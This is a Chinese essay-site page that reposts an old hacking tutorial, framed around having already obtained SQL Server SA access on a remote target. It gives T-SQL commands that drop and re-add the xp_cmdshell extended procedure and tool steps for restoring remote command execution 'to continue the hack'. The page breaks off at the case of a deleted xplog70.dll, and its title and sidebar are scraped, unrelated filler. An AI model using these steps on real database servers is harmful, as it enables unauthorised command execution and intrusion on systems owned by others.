首页 爱情文章 亲情文章 友情文章 生活随笔 校园文章 经典文章 人生哲理 励志文章 搞笑文章 心情日记
  • 爱情文章
  • 亲情文章
  • 友情文章
  • 生活随笔
  • 校园文章
  • 经典文章
  • 人生哲理
  • 励志文章
  • 搞笑文章
  • 心情日记
  • 英语文章
  • 范文大全
  • 作文大全
  • 新闻阅读
    •
    当前位置: 山茶花美文网 > 生活随笔 > 正文

    SQL,Server,SA权限总结经典技术_捷信SA没出单的总结

    时间：2020-05-28来源：山茶花美文网 本文已影响 人 山茶花美文网手机站

    前提需要工具：SQL Query Analyzer和SqlExec Sunx Version

    第一部分：

    有关去掉xp_cmdshell来保护系统的分析总结：

    首先知道一下语句：

    1.去掉xp_cmdshell扩展过程的方法是使用如下语句：

    if exists (select * from dbo.sysobjects where id=object_id(N"[dbo].[xpcmdshell]") and

    OBJECTPROPERTY(id,N"IsExtendedProc")=1)exec sp_dropextendedproc N"[dbo].[xp_cmdshell]"

    2.添加xp_cmdshell扩展过程的方法是使用如下语句：

    sp_addextendedproc xp_cmdshell,@dllname="xplog70.dll"

    现在看看现象：

    我们在取得SA权限后远程用Sqlexec执行cmd命令，出现提示SQL_ERROR，那么很可能是去掉了xp_cmdshell。

    现在来看看被去掉xp_cmdshell后恢复的两种方法：

    方法一、使用SQL Query Analyzer连接对方后直接写入，挺方便sp_addextendedproc xp_cmdshell,@dllname="xplog70.dll"

    方法二、使用SqlExec Sunx Version首先在SqlExec Sunx Version的Format选项里填上%s，在CMD选项里输入sp_addextendedproc "xp_cmdshell","xpsql70.dll"或者对Sql2000情况下使用sp_addextendedproc "xp_cmdshell","xplog70.dll"另外使用SqlExec Sunx Version来去除xp_cmdshell的方法和加的时候选择条件一样，然后输入sp_dropextendedproc "xp_cmdshell"就可以了

    第二部分:

    假如对方已经把xplog70.dll删除或者改了名，我们来用下面的方法继续我们的hack任务：

    ]当出现如下现象暗示代表很有可能是xplog70.dll删除或者改了名。

    在查询分析器中写入sp_addextendedproc xp_cmdshell,@dllname="xplog70.dll"提示数据库中已存在名为"xp_cmdshell"的对象。

    • 爱情文章
    • 亲情文章
    • 友情文章
    • 随笔
    • 哲理
    • 励志
    • 范文大全

    最新文章

    热点文章

    推荐访问

    军训远足心得体会 军训爬山心得体会 大学军训徒步拉练感想 军训徒步作文 军训徒步10公里感想 军训徒步心得体会 5分钟演讲中秋节节日 中秋一分钟演讲 中秋节演讲稿4分钟 中秋节演讲稿一分钟 中秋节演讲稿五分钟 3-5分钟 中秋节短篇演讲稿 中秋节演讲稿两分钟 中秋节的演讲稿3分钟 关于中秋节的演讲稿三分钟 孩子体验军训的心得 参加孩子军训活动的感受与收获 家长对孩子军训后的收获和感悟 小孩军训的收获与感悟 学生军训的收获与感悟 孩子军训成长过程家长感悟 孩子军训感悟 孩子军训心得体会 孩子军训的收获与感悟 兵役前训练心得体会 部队当兵的心得 新兵役前教育训练心得体会 预备役军训心得体会 新兵军训感悟

    本文SQL,Server,SA权限总结经典技术_捷信SA没出单的总结由山茶花美文网整理提供，版权归原作者、原出处所有。

    Copyright © 山茶花美文网 All Rights Reserved.